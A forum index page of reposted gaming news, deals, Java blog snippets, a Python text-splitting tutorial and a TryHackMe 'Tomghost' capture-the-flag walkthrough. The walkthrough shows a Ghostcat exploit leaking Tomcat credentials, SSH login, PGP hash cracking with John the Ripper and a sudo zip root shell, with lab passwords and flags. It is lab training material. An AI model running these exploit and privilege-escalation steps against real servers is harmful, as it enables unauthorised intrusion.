Welcome, Guest
You have to register before you can post on our site.

Username
  

Password
  





Search Forums

(Advanced Search)

Forum Statistics
» Members: 20,946
» Latest member: blackopsdlc
» Forum threads: 21,978
» Forum posts: 22,945

Full Statistics

Online Users
There are currently 1139 online users.
» 0 Member(s) | 1134 Guest(s)
Applebot, Baidu, Bing, Facebook, Google

Latest Threads
[WoW Retail News] Stat Sq...
Forum: World of Warcraft
Last Post: xSicKxBot

» Replies: 0
» Views: 13
BO6 & Warzone devs promis...
Forum: PC Discussion
Last Post: xSicKxBot

» Replies: 0
» Views: 14
I Thought Block Blast Was...
Forum: Lounge
Last Post: starfishmil

» Replies: 0
» Views: 17
[PS.Blog] Silent Hill: To...
Forum: Sony Discussion
Last Post: xSicKxBot

» Replies: 0
» Views: 13
[Steam Release] Good Comp...
Forum: New Game Releases
Last Post: xSicKxBot

» Replies: 0
» Views: 16
[DevBlog MS] Performance ...
Forum: C#, Visual Basic, & .Net Frameworks
Last Post: xSicKxBot

» Replies: 0
» Views: 23
[WoW Retail News] Over 20...
Forum: World of Warcraft
Last Post: xSicKxBot

» Replies: 0
» Views: 20
[WoW Retail News] Mythic ...
Forum: World of Warcraft
Last Post: xSicKxBot

» Replies: 0
» Views: 27
[Steam Release] Raft, 15%...
Forum: New Game Releases
Last Post: xSicKxBot

» Replies: 0
» Views: 23
Marvel Rivals Ace icon ex...
Forum: PC Discussion
Last Post: xSicKxBot

» Replies: 0
» Views: 26

 
  News - Vampire Survivors Patch Hits Alongside First DLC Legacy of the Moonspell
Posted by: xSicKxBot - 12-16-2022, 01:36 AM - Forum: Lounge - No Replies

Vampire Survivors Patch Hits Alongside First DLC Legacy of the Moonspell

The latest Vampire Survivors patch adds a cute holiday-themed aesthetic touch, as well as plenty of quality-of-life fixes and features. It also paves the way for the game's first DLC, Legacy of the Moonspell, which brings a new stage, new characters, and more items to unlock.

The Vampire Survivors patch adds a Christmas tree skin for Peppino, along with various quality-of-life changes and bug fixes. For example, there is now an option to toggle maxed power ups, and treasure chests containing Arcanas are now purple. Fixes include removing the Floor Chicken requirement for Marrabbio and stopping an infinitely bouncing Carrello. The patch also adds support for the DLC. You can read the full patch notes on Steam.

As for the DLC, Legacy of the Moonspell adds a new stage, eight new characters, 13 new weapons (including evolutions), and six new music tracks. You can start the DLC if you have the Inlaid Library unlocked. The new stage will appear right next to it in the stage selection menu. You'll also find 17 new entries in the Unlock menu, to help you progress through the DLC's content, though there are secret spells that will unlock everything for you. The DLC usually costs $2, but currently has a launch discount which puts it at $1.79.

Continue Reading at GameSpot

https://www.gamespot.com/articles/vampir...01-10abi2f

Print this item

  PC - Warhammer 40,000: Darktide
Posted by: xSicKxBot - 12-16-2022, 01:35 AM - Forum: New Game Releases - No Replies

Warhammer 40,000: Darktide



Fight together with your friends against hordes of enemies in this new Warhammer 40,000 experience. From the developers of the best-selling and award-winning co-op action franchise Vermintide, Warhammer 40,000: Darktide is a visceral 4-player co-op action game set in the hive city of Tertium. In the depths of the hive, the seeds of corruption threaten an overwhelming tide of darkness. A heretical cult known as the Admonition seeks to seize control of the planet Atoma Prime and lay waste to its inhabitants. It is up to you and your allies in the Inquisition to root out the enemy before the city succumbs to Chaos.

Publisher: Fatshark

Release Date: Nov 30, 2022




https://www.metacritic.com/game/pc/warha...0-darktide

Print this item

  [Oracle Blog] Accelerating OCI applications with GraalVM Enterprise
Posted by: xSicKxBot - 12-15-2022, 07:36 AM - Forum: Java Language, JVM, and the JRE - No Replies

Accelerating OCI applications with GraalVM Enterprise

Oracle GraalVM Enterprise Edition is a high performance runtime that provides significant improvements in application execution and efficiency on premise and in the cloud. For cloud, the good news is that GraalVM Enterprise is included in all Oracle Cloud Infrastructure (OCI) subscriptions so you ca...


https://blogs.oracle.com/java/post/accel...enterprise

Print this item

  [Tut] Tomghost “Try Hack Me” Walkthrough (Hacked)
Posted by: xSicKxBot - 12-15-2022, 07:36 AM - Forum: Python - No Replies

Tomghost “Try Hack Me” Walkthrough (Hacked)

5/5 – (1 vote)

In this CTF (Capture the Flag) challenge walkthrough, we will be hacking into an Apache Tomcat server using an exploit created by a Chinese developer.

This exploit is available as a standalone Python file and as a Metasploit module.

YouTube Video

In the walkthrough video, I’ll demonstrate both methods of gaining an initial foothold into the box. We will use a trusty hash cracking tool, John the ripper to decrypt a password from two files found on the target machine.

Logging in as the second user, we can leverage our permissions to run the zip bin as root in order to retrieve the root flag.

Please note that this box contains a username with foul language. If you are easily offended by bad words, please don’t continue reading this walkthrough.

ENUMERATION


First, let’s export our IPs and enumerate with nmap.

export myIP=10.6.2.23
export targetIP=10.10.225.99 sudo nmap -Pn -sC -p- -O $targetIP

Next we will look further into the port 8009 service ajp13 with some searching on Google. We quickly discover that it looks like a tomcat apache server that has a vulnerability that can be exploited with Ghostcat

INITIAL FOOTHOLD WITH GHOSTCAT


Using metasploit with the ghostcat module, we can retrieve the first user’s username and password. Also of interest is port 8080 running an HTTP-proxy. This is probably a webpage we can look at in a browser. 

The other method for retrieving the first username and password is to run the following command to use ajpShooter.py directly without metasploit:

python ajpShooter.py http://10.10.176.124:8080 8009 /WEB-INF/web.xml read
--- _ _ __ _ _ /_\ (_)_ __ / _\ |__ ___ ___ | |_ ___ _ __ //_\\ | | '_ \ \ \| '_ \ / _ \ / _ \| __/ _ \ '__| / _ \| | |_) | _\ \ | | | (_) | (_) | || __/ | \_/ \_// | .__/ \__/_| |_|\___/ \___/ \__\___|_| |__/|_| 00theway,just for test [<] 200 200
[<] Accept-Ranges: bytes
[<] ETag: W/"1261-1583902632000"
[<] Last-Modified: Wed, 11 Mar 2020 04:57:12 GMT
[<] Content-Type: application/xml
[<] Content-Length: 1261 <?xml version="1.0" encoding="UTF-8"?>
<!-- Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
-->
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0" metadata-complete="true"> <display-name>Welcome to Tomcat</display-name> <description> Welcome to GhostCat skyfuck:8730281lkjlkjdqlksalks </description> </web-app>
****
**---**

SSH INTO THE TARGET MACHINE


Now that we have retrieved the user:password, we can go ahead an SSH into the box.

ssh skyfuck@10.10.176.124
Password: 8730281lkjlkjdqlksalks

During further enumeration, we discovered two files: tryhackme.asc, and credential.pgp. These files will probably help us uncover another hidden string. The .pgp file contains a hash that, when cracked, reveals a key to decrypt the .asc file.

First, we need to transfer both files to our attacker machine so that we can use john the ripper to decrypt the hash. We can use SCP (secure copy protocol to transfer the files).

The following commands allow us to uncover the hidden string, which turns out to be another username:password combination.

sudo scp skyfuck@10.10.91.141:/home/skyfuck/credential.pgp ~/THM/tomghost/credential.pgp sudo scp skyfuck@10.10.91.141:/home/skyfuck/tryhackme.asc ./tomghost/tryhackme.asc

DECRYPTING THE HIDDEN SECRET WITH JOHN THE RIPPER


On our attacker machine we can run john2hash to nicely convert the .asc file into a new file packed up for john the ripper, titled “hash”.

john2hash tryhackme.asc > hash

And finally, we can run john the ripper now to decrypt the credential.pgp file.

John – wordlist=/home/kalisurfer/hacking-tools/SecLists/Passwords/Leaked-Databases/rockyou/rockyou.txt hash

The rockyou.txt file is a leaked database of passwords that is often used in pentesting. Once we crack the hash, we will use the following commands to decrypt the credential.pgp file.

gpg – import tryhackme.asc
sudo gpg – decrypt credential.pgp

And we have it!

merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j%

!!!
THM{GhostCat_1s_so_cr4sy}
!!!

EXPLOITING SUDO PERMISSIONS ON ZIP


First, we need to switch over the user Merlin with:

su merlin

We discover with a sudo -l search that we have sudo permissions to run the zip bin.

Over on GTFObins we find a privilege escalation vector using zip to maintain SUDO permissions and retrieve the root flag:

merlin@ubuntu:/usr/bin$ TF=$(mktemp -u)
merlin@ubuntu:/usr/bin$ sudo zip $TF /etc/hosts -T -TT 'sh #' adding: etc/hosts (deflated 31%)
# whoami
root
# cd /root
# ls
root.txt ufw
# cat root.txt
THM{Z1P_1S_FAKE}

Thanks for reading/watching my walkthrough.



https://www.sickgaming.net/blog/2022/12/...gh-hacked/

Print this item

  (Indie Deal) Blood Bowl 3 Raffle & Whale Rock Sale
Posted by: xSicKxBot - 12-15-2022, 07:36 AM - Forum: Deals or Specials - No Replies

Blood Bowl 3 Raffle & Whale Rock Sale

Blood Bowl III Pre-Order Raffle
[www.indiegala.com]
Pre-purchase for early bonuses from the IG store[www.indiegala.com]
https://www.youtube.com/watch?v=t3bWhhsbeXA
Pre-Purchase Blood Bowl 3 - Black Orcs Edition[www.indiegala.com]
Pre-Purchase Blood Bowl 3 Brutal Edition (48 hours early unlock)[www.indiegala.com]
Pre-Purchase Blood Bowl 3 - Imperial Nobility Edition[www.indiegala.com]

Whale Rock Games Sale, up to 93% OFF
[www.indiegala.com]

https://www.youtube.com/watch?v=zQLYCsWx0uQ
[discord.gg]


https://steamcommunity.com/groups/indieg...0232171956

Print this item

  (Free Game Key) Behold the Kickmen - Free Steam Game
Posted by: xSicKxBot - 12-15-2022, 07:36 AM - Forum: Deals or Specials - No Replies

Behold the Kickmen - Free Steam Game

Behold the Kickmen - Free Steam Game

- Go to the giveaway page
- https://fanatical.com/game/behold-the-kickmen?ref=gfg
- Add to cart (to add the game to cart)
- Proceed to Checkout button on the right
- View order
- Reveal key button (a suggestion is to reveal it and use it as soon as possible)

Please note sometimes the key is region locked, and it may require a steam acc that is not limited)

(it says that key expires on 14th jan. but im not sure if its the revealed key or the actual key, the game on your account will remain if you activate it before then)

We are welcoming everyone to join our discord[discord.gg]. We are more active there on finding giveaways, small or large, and there are daily raffles you can participate.

?GrabFreeGames.com ?Twitter ?Steam Curator ?Facebook[fb.me]?Discord[discord.gg]
❤️Support us: HumbleBundle Partner[www.humblebundle.com] Fanatical Affiliate[www.fanatical.com]


https://steamcommunity.com/groups/GrabFr...2002137713

Print this item

  PC - The Knight Witch
Posted by: xSicKxBot - 12-15-2022, 07:36 AM - Forum: New Game Releases - No Replies

The Knight Witch



The Knight Witch is a metroidvania adventure game with fast-paced, shoot 'em up combat set in a beautifully hand-drawn world.

Cast devastating card-based spells, forge close bonds, and make moral choices all in your quest to save your home and discover who's behind the War Golem invasion.

Publisher: Team17

Release Date: Nov 29, 2022




https://www.metacritic.com/game/pc/the-knight-witch

Print this item

  [Oracle Blog] Java Client Roadmap Updates
Posted by: xSicKxBot - 12-14-2022, 01:24 PM - Forum: Java Language, JVM, and the JRE - No Replies

Java Client Roadmap Updates

Oracle has published an update to the Java Client Roadmap which extends availability and support timelines for many Java Client related technologies. Executive Summary: Oracle has extended commercial support and updates for Java SE 8 from March 2025 to at least December 2030. Oracle has extended ind...


https://blogs.oracle.com/java/post/java-...ap-updates

Print this item

  [Tut] Python | Split Text into Sentences
Posted by: xSicKxBot - 12-14-2022, 01:24 PM - Forum: Python - No Replies

Python | Split Text into Sentences

Rate this post

✨Summary: There are four different ways to split a text into sentences:
? Using nltk module
? Using re.split()
? Using re.findall()
? Using replace

Minimal Example


text = "God is Great! I won a lottery." # Method 1
from nltk.tokenize import sent_tokenize
print(sent_tokenize(text)) # Method 2
import re
res = [x for x in re.split("[//.|//!|//?]", text) if x!=""]
print(res) # Method 3
res = re.findall(r"[^.!?]+", text)
print(res) # Method 4
def splitter(txt, delim): for i in txt: if i in delim: txt = txt.replace(i, ',') res = txt.split(',') res.pop() return res sep = ['.', '!']
print(splitter(text, sep)) # Output: ['God is Great', ' I won a lottery']

Problem Formulation


Problem: Given a string/text containing numerous sentences; How will you split the string into sentences?

Example: Let’s visualize the problem with the help of an example.

# Input
text = "This is sentence 1. This is sentence 2! This is sentence 3?"
# output
['This is sentence 1', ' This is sentence 2', ' This is sentence 3']

Method 1: Using nltk.tokenize


Natural Language Processing (NLP) has a process known as tokenization using which a large quantity of text can be divided into smaller parts called tokens. The Natural Language toolkit contains a very important module known as NLTK tokenize sentence which further comprises sub-modules. We can use this module and split a given text into sentences.

Code:

from nltk.tokenize import sent_tokenize
text = "This is sentence 1. This is sentence 2! This is sentence 3?"
print(sent_tokenize(text)) # ['This is sentence 1.', ' This is sentence 2!', ' This is sentence 3?']

Explanation: 

  • Import the sent_tokenize module.
  • Further, the sentence_tokenizer module allows you to parse the given sentences and break them into individual sentences at the occurrence of punctuations like periods, exclamation,  question marks, etc.

Caution: You might get an error after installing the nltk package. So, here’s the entire process to install nltk in your system.

Install nltk using → pip install nltk

Then go ahead and type the following in your Python shell:

import nltk
nltk.download('punkt')

That’s it! You are now ready to use the sentence_tokenizer module in your code.

Method 2: Using re.split


The re.split(pattern, string) method matches all occurrences of the pattern in the string and divides the string along the matches resulting in a list of strings between the matches. For example, re.split('a', 'bbabbbab') results in the list of strings ['bb', 'bbb', 'b'].

Approach: Split the given string using alphanumeric separators, and use the either-or (|) metacharacter. It allows you to specify each separator within the expression like so: re.split("[//.|//!|//?]", text). Thus, whenever the script encounters any of the mentioned characters specified within the pattern, it will split the given string. The expression x!="" ignores all the empty characters.

Code:

import re
text = "This is sentence 1. This is sentence 2! This is sentence 3?"
res = [x for x in re.split("[//.|//!|//?]", text) if x!=""]
print(res) # ['This is sentence 1', ' This is sentence 2', ' This is sentence 3']

?Recommended Read:  Python Regex Split

Method 3: Using findall


The re.findall(pattern, string) method scans the string from left to right, searching for all non-overlapping matches of the pattern. It returns a list of strings in the matching order when scanning the string from left to right.

Code:

import re
text = "This is sentence 1. This is sentence 2! This is sentence 3?"
res = re.findall(r"[^.!?]+", text)
print(res) # ['This is sentence 1', ' This is sentence 2', ' This is sentence 3']

Explanation: In the expression, i.e., re.findall(r"[^.!?]+", text), all occurrences of characters are grouped except the punctuation marks. []+ denotes that all occurrences of one or more characters except (given by ^) ‘!’, ‘?’, and ‘.’ will be returned. Thus, whenever the script finds and groups all characters until any of the mentioned characters within the square brackets are found. As soon as one of the mentioned characters is found it splits the string and finds the next group of characters.

?Related Read: Python re.findall() – Everything You Need to Know

Method 4: Using replace


Approach: The idea here is to replace all the punctuation marks (‘!’, ‘?’, and ‘.’) present in the given string with a comma (,) and then split the modified string to get the list of split substrings. The problem here is the last element returned will be an empty string. You can use the pop() method to remove the last element out of the list of substrings (the empty string).

Code:

def splitter(txt, delim): for i in txt: if i in delim: txt = txt.replace(i, ',') res = txt.split(',') res.pop() return res sep = ['.', '!', '?']
text = "This is sentence 1. This is sentence 2! This is sentence 3?"
print(splitter(text, sep)) # ['This is sentence 1', ' This is sentence 2', ' This is sentence 3']

?Related Read: Python String replace()

Conclusion


We have successfully solved the given problem using different approaches. I hope this article helped you in your Python coding journey. Please subscribe and stay tuned for more interesting articles.

Happy coding! ?


Do you want to master the regex superpower? Check out my new book The Smartest Way to Learn Regular Expressions in Python with the innovative 3-step approach for active learning: (1) study a book chapter, (2) solve a code puzzle, and (3) watch an educational chapter video.



https://www.sickgaming.net/blog/2022/12/...sentences/

Print this item

  (Indie Deal) Monster Spark Bundle & Black Friday are officially here
Posted by: xSicKxBot - 12-14-2022, 01:24 PM - Forum: Deals or Specials - No Replies

Monster Spark Bundle & Black Friday are officially here

Monster Spark Bundle | 6 Steam Games | 95% OFF
[www.indiegala.com]
All you need is that one spark to unleash the monster in you, one that will enjoy a video game experience like never before: DwarfHeim, RIOT: Civil Unrest, The Long Reach, Sparklite, Mainlining Deluxe Edition, Monster Harvest.

Black Friday is here...officially!
[www.indiegala.com]
Extra 10% cashback as a BONUS in this period only!
https://www.youtube.com/watch?v=5B3fuoNaoj4
Tales of Giveaways
[www.indiegala.com]


https://steamcommunity.com/groups/indieg...9740505321

Print this item